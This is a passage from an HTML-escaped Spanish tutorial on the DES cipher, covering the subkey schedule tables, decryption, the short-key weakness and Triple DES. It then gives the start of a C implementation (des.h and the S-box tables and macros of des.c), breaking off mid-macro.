/&gt;&lt;div style="text-align: justify;"&gt;Este esquema se realiza para cada una de las iteraciones:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;                               K (56 bits)&lt;br /&gt;                                   |&lt;br /&gt;                                 -----&lt;br /&gt;                                 | D |&lt;br /&gt;                                 -----&lt;br /&gt;                                   |&lt;br /&gt;                         ---------------------&lt;br /&gt;                         |                   |&lt;br /&gt;                ------------------    ------------------&lt;br /&gt;                | Desplazamiento |    | Desplazamiento |&lt;br /&gt;                ------------------    ------------------&lt;br /&gt;                         |                   |&lt;br /&gt;                         ---------------------&lt;br /&gt;                                   |&lt;br /&gt;                                 -----&lt;br /&gt;                                 | E |&lt;br /&gt;                                 -----&lt;br /&gt;                                   |&lt;br /&gt;                              ki (48 bits)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El primer paso consiste en una permutación mediante la tabla D:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;                     ------------------------&lt;br /&gt;                     | Tabla  permutación D |&lt;br /&gt;                     ------------------------&lt;br /&gt;                     | 57 49 41 33 25 17 09 |&lt;br /&gt;                     | 01 58 50 42 34 26 18 |&lt;br /&gt;                     | 10 02 59 51 43 35 27 |&lt;br /&gt;                     | 19 11 03 60 52 44 36 |&lt;br /&gt;                     | 63 55 47 39 31 23 15 |&lt;br /&gt;                     | 07 62 54 46 38 30 22 |&lt;br /&gt;                     | 14 06 61 53 45 37 29 |&lt;br /&gt;                     | 21 13 05 28 20 12 04 |&lt;br /&gt;                     ------------------------&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Los 56 bits se dividen en dos partes de 28 bits. Cada una de estas partes rota hacia la izquierda un número X de bits en cada iteración, conforme a la tabla siguiente:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt; ----------------------------------------------------------------------&lt;br /&gt; | Iteración       |  01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 |&lt;br /&gt; | Desplazamiento  |   1  1  2  2  2  2  2  2  2  2  2  2  2  2  2  1 |&lt;br /&gt; ----------------------------------------------------------------------&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Finalmente, mediante la tabla de compresión E los 56 bits (28+28) del resultado se comprimen formando una subclave de 48 bits (la utilizada en la función f).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;                     --------------------------&lt;br /&gt;                     |  Tabla de compresión E |&lt;br /&gt;                     --------------------------&lt;br /&gt;                     | 14  17  11  24  01  05 |&lt;br /&gt;                     | 03  28  15  06  21  10 |&lt;br /&gt;                     | 23  19  12  04  26  08 |&lt;br /&gt;                     | 16  07  27  20  13  02 |&lt;br /&gt;                     | 41  52  31  37  47  55 |&lt;br /&gt;                     | 30  40  51  45  33  48 |&lt;br /&gt;                     | 44  49  39  56  34  53 |&lt;br /&gt;                     | 46  42  50  36  29  32 |&lt;br /&gt;                     --------------------------&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Descifrado en DES&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Una de las partes positivas de DES es que podemos descifrar los mensajes utilizando el mismo algoritmo que utilizamos para cifrar. La única diferencia consiste en el orden en que se aplican la subclaves, dado que en el descifrado se utilizan en orden inverso. Es decir, primero se utiliza la subclave k16, después la k15 ... k1.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Debilidades del algoritmo DES&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Desde la aparición del algoritmo DES han surgido algunas críticas sobr el criptosistema. La principal es la longitud de la clave, de solo 56 bits, que hacen posible los ataques de fuerza bruta.&lt;br /&gt;&lt;br /&gt;Por otra parte, la arbitrariedad de las cajas S, podría ser causa de la existencia de una clave maestra que permitiese descifrar cualquier mensaje.&lt;br /&gt;&lt;br /&gt;Una forma de solucionar el problema de la longitud de la clave es el uso del cifrado triple, conocido como Triple DES. La clave utilizada por Triple DES es de 128 bits (112 de clave y 16 de paridad) , es decir, dos claves de 64 bits (56 de clave y 8 de paridad) de los utilizados en DES. El motivo de utilizar este de tipo de clave es la compatibilidad con DES. Si la clave utilizada es el conjunto de dos claves DES iguales el resultado será el mismo para DES y para Triple DES.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Triple DES&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;Para cifrar mediante el algoritmo Triple DES seguiremos los siguientes pasos:&lt;br /&gt;&lt;br /&gt;- Dividir la clave de 128 bits en dos partes de 64 bits: k1 y k2.&lt;br /&gt;- Cifrar el texto en claro con k1. El resultado es conocido como ANTIDES.&lt;br /&gt;- Cifrar ANTIDES con k2.&lt;br /&gt;- Cifrar el resultado con k1.&lt;br /&gt;- Si k1=k2 el resultado coincide con un cifrado mediante DES. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Otra forma de utilizar Triple DES es con una clave de 192 bits (168 bits de clave y 24 bits de paridad). En este caso se cifrará primero con k1, a continuación con k2 y finalmente con k3.&lt;br /&gt;Para ser compatible con DES es necesario que k1=k2=k3. &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Implementación en C&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* ---- H source file: des.h ---- */&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \file des.h&lt;br /&gt; */&lt;br /&gt;#ifndef _DES_H&lt;br /&gt;#define _DES_H&lt;br /&gt;&lt;br /&gt;#ifdef __cplusplus&lt;br /&gt;extern "C" {&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          DES context structure&lt;br /&gt; */&lt;br /&gt;typedef struct&lt;br /&gt;{&lt;br /&gt;    unsigned long esk[32];     /*!&lt; DES encryption subkeys */&lt;br /&gt;    unsigned long dsk[32];     /*!&lt; DES decryption subkeys */&lt;br /&gt;}&lt;br /&gt;des_context;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          Triple-DES context structure&lt;br /&gt; */&lt;br /&gt;typedef struct&lt;br /&gt;{&lt;br /&gt;    unsigned long esk[96];     /*!&lt; Triple-DES encryption subkeys */&lt;br /&gt;    unsigned long dsk[96];     /*!&lt; Triple-DES decryption subkeys */&lt;br /&gt;}&lt;br /&gt;des3_context;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          DES key schedule (56-bit)&lt;br /&gt; *&lt;br /&gt; * \param ctx      DES context to be initialized&lt;br /&gt; * \param key      8-byte secret key&lt;br /&gt; */&lt;br /&gt;void des_set_key( des_context *ctx, unsigned char key[8] );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          DES block encryption (ECB mode)&lt;br /&gt; *&lt;br /&gt; * \param ctx      DES context&lt;br /&gt; * \param input    plaintext  block&lt;br /&gt; * \param output   ciphertext block&lt;br /&gt; */&lt;br /&gt;void des_encrypt( des_context *ctx,&lt;br /&gt;                  unsigned char input[8],&lt;br /&gt;                  unsigned char output[8] );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          DES block decryption (ECB mode)&lt;br /&gt; *&lt;br /&gt; * \param ctx      DES context&lt;br /&gt; * \param input    ciphertext block&lt;br /&gt; * \param output   plaintext  block&lt;br /&gt; */&lt;br /&gt;void des_decrypt( des_context *ctx,&lt;br /&gt;                  unsigned char input[8],&lt;br /&gt;                  unsigned char output[8] );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          DES-CBC buffer encryption&lt;br /&gt; *&lt;br /&gt; * \param ctx      DES context&lt;br /&gt; * \param iv       initialization vector (modified after use)&lt;br /&gt; * \param input    buffer holding the plaintext&lt;br /&gt; * \param output   buffer holding the ciphertext&lt;br /&gt; * \param len      length of the data to be encrypted&lt;br /&gt; */&lt;br /&gt;void des_cbc_encrypt( des_context *ctx,&lt;br /&gt;                      unsigned char iv[8],&lt;br /&gt;                      unsigned char *input,&lt;br /&gt;                      unsigned char *output,&lt;br /&gt;                      int len );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          DES-CBC buffer decryption&lt;br /&gt; *&lt;br /&gt; * \param ctx      DES context&lt;br /&gt; * \param iv       initialization vector (modified after use)&lt;br /&gt; * \param input    buffer holding the ciphertext&lt;br /&gt; * \param output   buffer holding the plaintext&lt;br /&gt; * \param len      length of the data to be decrypted&lt;br /&gt; */&lt;br /&gt;void des_cbc_decrypt( des_context *ctx,&lt;br /&gt;                      unsigned char iv[8],&lt;br /&gt;                      unsigned char *input,&lt;br /&gt;                      unsigned char *output,&lt;br /&gt;                      int len );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          Triple-DES key schedule (112-bit)&lt;br /&gt; *&lt;br /&gt; * \param ctx      3DES context to be initialized&lt;br /&gt; * \param key      16-byte secret key&lt;br /&gt; */&lt;br /&gt;void des3_set_2keys( des3_context *ctx, unsigned char key[16] );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          Triple-DES key schedule (168-bit)&lt;br /&gt; *&lt;br /&gt; * \param ctx      3DES context to be initialized&lt;br /&gt; * \param key      24-byte secret key&lt;br /&gt; */&lt;br /&gt;void des3_set_3keys( des3_context *ctx, unsigned char key[24] );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          Triple-DES block encryption (ECB mode)&lt;br /&gt; *&lt;br /&gt; * \param ctx      3DES context&lt;br /&gt; * \param input    plaintext  block&lt;br /&gt; * \param output   ciphertext block&lt;br /&gt; */&lt;br /&gt;void des3_encrypt( des3_context *ctx,&lt;br /&gt;                   unsigned char input[8],&lt;br /&gt;                   unsigned char output[8] );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          Triple-DES block decryption (ECB mode)&lt;br /&gt; *&lt;br /&gt; * \param ctx      3DES context&lt;br /&gt; * \param input    ciphertext block&lt;br /&gt; * \param output   plaintext  block&lt;br /&gt; */&lt;br /&gt;void des3_decrypt( des3_context *ctx,&lt;br /&gt;                   unsigned char input[8],&lt;br /&gt;                   unsigned char output[8] );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          3DES-CBC buffer encryption&lt;br /&gt; *&lt;br /&gt; * \param ctx      3DES context&lt;br /&gt; * \param iv       initialization vector (modified after use)&lt;br /&gt; * \param input    buffer holding the plaintext&lt;br /&gt; * \param output   buffer holding the ciphertext&lt;br /&gt; * \param len      length of the data to be encrypted&lt;br /&gt; */&lt;br /&gt;void des3_cbc_encrypt( des3_context *ctx,&lt;br /&gt;                       unsigned char iv[8],&lt;br /&gt;                       unsigned char *input,&lt;br /&gt;                       unsigned char *output,&lt;br /&gt;                       int len );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * \brief          3DES-CBC buffer decryption&lt;br /&gt; *&lt;br /&gt; * \param ctx      3DES context&lt;br /&gt; * \param iv       initialization vector (modified after use)&lt;br /&gt; * \param input    buffer holding the ciphertext&lt;br /&gt; * \param output   buffer holding the plaintext&lt;br /&gt; * \param len      length of the data to be decrypted&lt;br /&gt; */&lt;br /&gt;void des3_cbc_decrypt( des3_context *ctx,&lt;br /&gt;                       unsigned char iv[8],&lt;br /&gt;                       unsigned char *input,&lt;br /&gt;                       unsigned char *output,&lt;br /&gt;                       int len );&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * \brief          Checkup routine&lt;br /&gt; *&lt;br /&gt; * \return         0 if successful, or 1 if the test failed&lt;br /&gt; */&lt;br /&gt;int des_self_test( void );&lt;br /&gt;&lt;br /&gt;#ifdef __cplusplus&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#endif /* des.h */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* ---- C source file: des.c ---- */&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; *  FIPS-46-3 compliant Triple-DES implementation&lt;br /&gt; *&lt;br /&gt; *  Copyright (C) 2003-2006  Christophe Devine&lt;br /&gt; *&lt;br /&gt; *  This library is free software; you can redistribute it and/or&lt;br /&gt; *  modify it under the terms of the GNU Lesser General Public&lt;br /&gt; *  License, version 2.1 as published by the Free Software Foundation.&lt;br /&gt; *&lt;br /&gt; *  This library is distributed in the hope that it will be useful,&lt;br /&gt; *  but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt; *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU&lt;br /&gt; *  Lesser General Public License for more details.&lt;br /&gt; *&lt;br /&gt; *  You should have received a copy of the GNU Lesser General Public&lt;br /&gt; *  License along with this library; if not, write to the Free Software&lt;br /&gt; *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,&lt;br /&gt; *  MA  02110-1301  USA&lt;br /&gt; */&lt;br /&gt;/*&lt;br /&gt; *  DES, on which TDES is based, was originally designed by IBM in&lt;br /&gt; *  1974 and adopted as a standard by NIST (formerly NBS).&lt;br /&gt; *&lt;br /&gt; *  http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#ifndef _CRT_SECURE_NO_DEPRECATE&lt;br /&gt;#define _CRT_SECURE_NO_DEPRECATE 1&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;#include "des.h"&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * 32-bit integer manipulation macros (big endian)&lt;br /&gt; */&lt;br /&gt;#ifndef GET_UINT32_BE&lt;br /&gt;#define GET_UINT32_BE(n,b,i)                            \&lt;br /&gt;{                                                       \&lt;br /&gt;    (n) = ( (unsigned long) (b)[(i)    ] &lt;&lt; 24 )        \&lt;br /&gt;        | ( (unsigned long) (b)[(i) + 1] &lt;&lt; 16 )        \&lt;br /&gt;        | ( (unsigned long) (b)[(i) + 2] &lt;&lt;  8 )        \&lt;br /&gt;        | ( (unsigned long) (b)[(i) + 3]       );       \&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;#ifndef PUT_UINT32_BE&lt;br /&gt;#define PUT_UINT32_BE(n,b,i)                            \&lt;br /&gt;{                                                       \&lt;br /&gt;    (b)[(i)    ] = (unsigned char) ( (n) &gt;&gt; 24 );       \&lt;br /&gt;    (b)[(i) + 1] = (unsigned char) ( (n) &gt;&gt; 16 );       \&lt;br /&gt;    (b)[(i) + 2] = (unsigned char) ( (n) &gt;&gt;  8 );       \&lt;br /&gt;    (b)[(i) + 3] = (unsigned char) ( (n)       );       \&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Expanded DES S-boxes&lt;br /&gt; */&lt;br /&gt;static const unsigned long SB1[64] =&lt;br /&gt;{&lt;br /&gt;    0x01010400, 0x00000000, 0x00010000, 0x01010404,&lt;br /&gt;    0x01010004, 0x00010404, 0x00000004, 0x00010000,&lt;br /&gt;    0x00000400, 0x01010400, 0x01010404, 0x00000400,&lt;br /&gt;    0x01000404, 0x01010004, 0x01000000, 0x00000004,&lt;br /&gt;    0x00000404, 0x01000400, 0x01000400, 0x00010400,&lt;br /&gt;    0x00010400, 0x01010000, 0x01010000, 0x01000404,&lt;br /&gt;    0x00010004, 0x01000004, 0x01000004, 0x00010004,&lt;br /&gt;    0x00000000, 0x00000404, 0x00010404, 0x01000000,&lt;br /&gt;    0x00010000, 0x01010404, 0x00000004, 0x01010000,&lt;br /&gt;    0x01010400, 0x01000000, 0x01000000, 0x00000400,&lt;br /&gt;    0x01010004, 0x00010000, 0x00010400, 0x01000004,&lt;br /&gt;    0x00000400, 0x00000004, 0x01000404, 0x00010404,&lt;br /&gt;    0x01010404, 0x00010004, 0x01010000, 0x01000404,&lt;br /&gt;    0x01000004, 0x00000404, 0x00010404, 0x01010400,&lt;br /&gt;    0x00000404, 0x01000400, 0x01000400, 0x00000000,&lt;br /&gt;    0x00010004, 0x00010400, 0x00000000, 0x01010004&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned long SB2[64] =&lt;br /&gt;{&lt;br /&gt;    0x80108020, 0x80008000, 0x00008000, 0x00108020,&lt;br /&gt;    0x00100000, 0x00000020, 0x80100020, 0x80008020,&lt;br /&gt;    0x80000020, 0x80108020, 0x80108000, 0x80000000,&lt;br /&gt;    0x80008000, 0x00100000, 0x00000020, 0x80100020,&lt;br /&gt;    0x00108000, 0x00100020, 0x80008020, 0x00000000,&lt;br /&gt;    0x80000000, 0x00008000, 0x00108020, 0x80100000,&lt;br /&gt;    0x00100020, 0x80000020, 0x00000000, 0x00108000,&lt;br /&gt;    0x00008020, 0x80108000, 0x80100000, 0x00008020,&lt;br /&gt;    0x00000000, 0x00108020, 0x80100020, 0x00100000,&lt;br /&gt;    0x80008020, 0x80100000, 0x80108000, 0x00008000,&lt;br /&gt;    0x80100000, 0x80008000, 0x00000020, 0x80108020,&lt;br /&gt;    0x00108020, 0x00000020, 0x00008000, 0x80000000,&lt;br /&gt;    0x00008020, 0x80108000, 0x00100000, 0x80000020,&lt;br /&gt;    0x00100020, 0x80008020, 0x80000020, 0x00100020,&lt;br /&gt;    0x00108000, 0x00000000, 0x80008000, 0x00008020,&lt;br /&gt;    0x80000000, 0x80100020, 0x80108020, 0x00108000&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned long SB3[64] =&lt;br /&gt;{&lt;br /&gt;    0x00000208, 0x08020200, 0x00000000, 0x08020008,&lt;br /&gt;    0x08000200, 0x00000000, 0x00020208, 0x08000200,&lt;br /&gt;    0x00020008, 0x08000008, 0x08000008, 0x00020000,&lt;br /&gt;    0x08020208, 0x00020008, 0x08020000, 0x00000208,&lt;br /&gt;    0x08000000, 0x00000008, 0x08020200, 0x00000200,&lt;br /&gt;    0x00020200, 0x08020000, 0x08020008, 0x00020208,&lt;br /&gt;    0x08000208, 0x00020200, 0x00020000, 0x08000208,&lt;br /&gt;    0x00000008, 0x08020208, 0x00000200, 0x08000000,&lt;br /&gt;    0x08020200, 0x08000000, 0x00020008, 0x00000208,&lt;br /&gt;    0x00020000, 0x08020200, 0x08000200, 0x00000000,&lt;br /&gt;    0x00000200, 0x00020008, 0x08020208, 0x08000200,&lt;br /&gt;    0x08000008, 0x00000200, 0x00000000, 0x08020008,&lt;br /&gt;    0x08000208, 0x00020000, 0x08000000, 0x08020208,&lt;br /&gt;    0x00000008, 0x00020208, 0x00020200, 0x08000008,&lt;br /&gt;    0x08020000, 0x08000208, 0x00000208, 0x08020000,&lt;br /&gt;    0x00020208, 0x00000008, 0x08020008, 0x00020200&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned long SB4[64] =&lt;br /&gt;{&lt;br /&gt;    0x00802001, 0x00002081, 0x00002081, 0x00000080,&lt;br /&gt;    0x00802080, 0x00800081, 0x00800001, 0x00002001,&lt;br /&gt;    0x00000000, 0x00802000, 0x00802000, 0x00802081,&lt;br /&gt;    0x00000081, 0x00000000, 0x00800080, 0x00800001,&lt;br /&gt;    0x00000001, 0x00002000, 0x00800000, 0x00802001,&lt;br /&gt;    0x00000080, 0x00800000, 0x00002001, 0x00002080,&lt;br /&gt;    0x00800081, 0x00000001, 0x00002080, 0x00800080,&lt;br /&gt;    0x00002000, 0x00802080, 0x00802081, 0x00000081,&lt;br /&gt;    0x00800080, 0x00800001, 0x00802000, 0x00802081,&lt;br /&gt;    0x00000081, 0x00000000, 0x00000000, 0x00802000,&lt;br /&gt;    0x00002080, 0x00800080, 0x00800081, 0x00000001,&lt;br /&gt;    0x00802001, 0x00002081, 0x00002081, 0x00000080,&lt;br /&gt;    0x00802081, 0x00000081, 0x00000001, 0x00002000,&lt;br /&gt;    0x00800001, 0x00002001, 0x00802080, 0x00800081,&lt;br /&gt;    0x00002001, 0x00002080, 0x00800000, 0x00802001,&lt;br /&gt;    0x00000080, 0x00800000, 0x00002000, 0x00802080&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned long SB5[64] =&lt;br /&gt;{&lt;br /&gt;    0x00000100, 0x02080100, 0x02080000, 0x42000100,&lt;br /&gt;    0x00080000, 0x00000100, 0x40000000, 0x02080000,&lt;br /&gt;    0x40080100, 0x00080000, 0x02000100, 0x40080100,&lt;br /&gt;    0x42000100, 0x42080000, 0x00080100, 0x40000000,&lt;br /&gt;    0x02000000, 0x40080000, 0x40080000, 0x00000000,&lt;br /&gt;    0x40000100, 0x42080100, 0x42080100, 0x02000100,&lt;br /&gt;    0x42080000, 0x40000100, 0x00000000, 0x42000000,&lt;br /&gt;    0x02080100, 0x02000000, 0x42000000, 0x00080100,&lt;br /&gt;    0x00080000, 0x42000100, 0x00000100, 0x02000000,&lt;br /&gt;    0x40000000, 0x02080000, 0x42000100, 0x40080100,&lt;br /&gt;    0x02000100, 0x40000000, 0x42080000, 0x02080100,&lt;br /&gt;    0x40080100, 0x00000100, 0x02000000, 0x42080000,&lt;br /&gt;    0x42080100, 0x00080100, 0x42000000, 0x42080100,&lt;br /&gt;    0x02080000, 0x00000000, 0x40080000, 0x42000000,&lt;br /&gt;    0x00080100, 0x02000100, 0x40000100, 0x00080000,&lt;br /&gt;    0x00000000, 0x40080000, 0x02080100, 0x40000100&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned long SB6[64] =&lt;br /&gt;{&lt;br /&gt;    0x20000010, 0x20400000, 0x00004000, 0x20404010,&lt;br /&gt;    0x20400000, 0x00000010, 0x20404010, 0x00400000,&lt;br /&gt;    0x20004000, 0x00404010, 0x00400000, 0x20000010,&lt;br /&gt;    0x00400010, 0x20004000, 0x20000000, 0x00004010,&lt;br /&gt;    0x00000000, 0x00400010, 0x20004010, 0x00004000,&lt;br /&gt;    0x00404000, 0x20004010, 0x00000010, 0x20400010,&lt;br /&gt;    0x20400010, 0x00000000, 0x00404010, 0x20404000,&lt;br /&gt;    0x00004010, 0x00404000, 0x20404000, 0x20000000,&lt;br /&gt;    0x20004000, 0x00000010, 0x20400010, 0x00404000,&lt;br /&gt;    0x20404010, 0x00400000, 0x00004010, 0x20000010,&lt;br /&gt;    0x00400000, 0x20004000, 0x20000000, 0x00004010,&lt;br /&gt;    0x20000010, 0x20404010, 0x00404000, 0x20400000,&lt;br /&gt;    0x00404010, 0x20404000, 0x00000000, 0x20400010,&lt;br /&gt;    0x00000010, 0x00004000, 0x20400000, 0x00404010,&lt;br /&gt;    0x00004000, 0x00400010, 0x20004010, 0x00000000,&lt;br /&gt;    0x20404000, 0x20000000, 0x00400010, 0x20004010&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned long SB7[64] =&lt;br /&gt;{&lt;br /&gt;    0x00200000, 0x04200002, 0x04000802, 0x00000000,&lt;br /&gt;    0x00000800, 0x04000802, 0x00200802, 0x04200800,&lt;br /&gt;    0x04200802, 0x00200000, 0x00000000, 0x04000002,&lt;br /&gt;    0x00000002, 0x04000000, 0x04200002, 0x00000802,&lt;br /&gt;    0x04000800, 0x00200802, 0x00200002, 0x04000800,&lt;br /&gt;    0x04000002, 0x04200000, 0x04200800, 0x00200002,&lt;br /&gt;    0x04200000, 0x00000800, 0x00000802, 0x04200802,&lt;br /&gt;    0x00200800, 0x00000002, 0x04000000, 0x00200800,&lt;br /&gt;    0x04000000, 0x00200800, 0x00200000, 0x04000802,&lt;br /&gt;    0x04000802, 0x04200002, 0x04200002, 0x00000002,&lt;br /&gt;    0x00200002, 0x04000000, 0x04000800, 0x00200000,&lt;br /&gt;    0x04200800, 0x00000802, 0x00200802, 0x04200800,&lt;br /&gt;    0x00000802, 0x04000002, 0x04200802, 0x04200000,&lt;br /&gt;    0x00200800, 0x00000000, 0x00000002, 0x04200802,&lt;br /&gt;    0x00000000, 0x00200802, 0x04200000, 0x00000800,&lt;br /&gt;    0x04000002, 0x04000800, 0x00000800, 0x00200002&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned long SB8[64] =&lt;br /&gt;{&lt;br /&gt;    0x10001040, 0x00001000, 0x00040000, 0x10041040,&lt;br /&gt;    0x10000000, 0x10001040, 0x00000040, 0x10000000,&lt;br /&gt;    0x00040040, 0x10040000, 0x10041040, 0x00041000,&lt;br /&gt;    0x10041000, 0x00041040, 0x00001000, 0x00000040,&lt;br /&gt;    0x10040000, 0x10000040, 0x10001000, 0x00001040,&lt;br /&gt;    0x00041000, 0x00040040, 0x10040040, 0x10041000,&lt;br /&gt;    0x00001040, 0x00000000, 0x00000000, 0x10040040,&lt;br /&gt;    0x10000040, 0x10001000, 0x00041040, 0x00040000,&lt;br /&gt;    0x00041040, 0x00040000, 0x10041000, 0x00001000,&lt;br /&gt;    0x00000040, 0x10040040, 0x00001000, 0x00041040,&lt;br /&gt;    0x10001000, 0x00000040, 0x10000040, 0x10040000,&lt;br /&gt;    0x10040040, 0x10000000, 0x00040000, 0x10001040,&lt;br /&gt;    0x00000000, 0x10041040, 0x00040040, 0x10000040,&lt;br /&gt;    0x10040000, 0x10001000, 0x10001040, 0x00000000,&lt;br /&gt;    0x10041040, 0x00041000, 0x00041000, 0x00001040,&lt;br /&gt;    0x00001040, 0x00040040, 0x10000000, 0x10041000&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * PC1: left and right halves bit-swap&lt;br /&gt; */&lt;br /&gt;static const unsigned long LHs[16] =&lt;br /&gt;{&lt;br /&gt;    0x00000000, 0x00000001, 0x00000100, 0x00000101,&lt;br /&gt;    0x00010000, 0x00010001, 0x00010100, 0x00010101,&lt;br /&gt;    0x01000000, 0x01000001, 0x01000100, 0x01000101,&lt;br /&gt;    0x01010000, 0x01010001, 0x01010100, 0x01010101&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned long RHs[16] =&lt;br /&gt;{&lt;br /&gt;    0x00000000, 0x01000000, 0x00010000, 0x01010000,&lt;br /&gt;    0x00000100, 0x01000100, 0x00010100, 0x01010100,&lt;br /&gt;    0x00000001, 0x01000001, 0x00010001, 0x01010001,&lt;br /&gt;    0x00000101, 0x01000101, 0x00010101, 0x01010101,&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Initial Permutation macro&lt;br /&gt; */&lt;br /&gt;#define DES_IP(X,Y)                                             \&lt;br /&gt;{                                                               \&lt;br /&gt;    T = ((X &gt;&gt;  4) ^ Y) &amp; 0x0F0F0F0F; Y ^= T; X ^= (T &lt;&lt;  4);   \&lt;br /&gt;    T = ((X &gt;&gt; 16) ^ Y) &amp; 0x0000FFFF; Y ^= T; X ^= (T &lt;&lt; 16);   \&lt;br /&gt;    T = ((Y &gt;&gt;  2) ^ X) &amp; 0x33333333; X ^= T; Y ^= (T &lt;&lt;  2);   \&lt;br /&gt;    T = ((Y &gt;&gt;  8) ^ X) &amp; 0x00FF00FF; X ^= T; Y ^= (T &lt;&lt;  8);   \&lt;br /&gt;    Y = ((Y &lt;&lt; 1) | (Y &gt;&gt; 31)) &amp; 0xFFFFFFFF;                    \&lt;br /&gt;    T = (X ^ Y) &amp; 0xAAAAAAAA; Y ^= T; X ^= T;                   \&lt;br /&gt;    X = ((X &lt;&lt; 1) | (X &gt;&gt; 31)) &amp; 0xFFFFFFFF;                    \&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Final Permutation macro&lt;br /&gt; */&lt;br /&gt;#define DES_FP(X,Y)                                             \&lt;br /&gt;{                                                               \&lt;br /&gt;    X = ((X &lt;&lt; 31) | (X &gt;&gt; 1)) &amp; 0xFFFFFFFF;                    \&lt;br /&gt;    T = (X ^ Y) &amp; 0xAAAAAAAA; X ^= T; Y ^= T;                   \&lt;br /&gt;    Y = ((Y &lt;&lt; 31) | (Y &gt;&gt; 1)) &amp; 0xFFFFFFFF;                    \&lt;br /&gt;    T = ((Y &gt;&gt;  8) ^ X) &amp; 0x00FF00FF; X ^= T; Y ^= (T &lt;&lt;  8);   \&lt;br /&gt;    T = ((Y &gt;&gt;  2) ^ X) &amp; 0x33333333; X ^= T; Y ^= (T &lt;&lt;  2);   \&lt;br /&gt;    T = ((X &gt;&gt; 16) ^ Y) &amp; 0x0000FFFF; Y ^= T; X ^= (T &lt;&lt; 16);   \&lt;br /&gt;    T = ((X &gt;&gt;  4) ^ Y) &amp; 0x0F0F0F0F; Y ^= T; X ^= (T &lt;&lt;  4);   \&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * DES round macro&lt;br /&gt; */&lt;br /&gt;#define DES_ROUND(X,Y)                          \&lt;br /&gt;{                                               \&lt;br /&gt;    T = *SK++ ^ X;                              \&lt;br /&gt;    Y ^= SB8[ (T      ) &amp; 0x3F ] ^              \&lt;br /&gt;         SB6[ (T &gt;&gt;  8) &amp; 0x3F ] ^              \&lt;br /&gt;         SB4[ (T &gt;&gt; 16) &amp; 0x3F ] ^              \&lt;br /&gt;         SB2[ (T 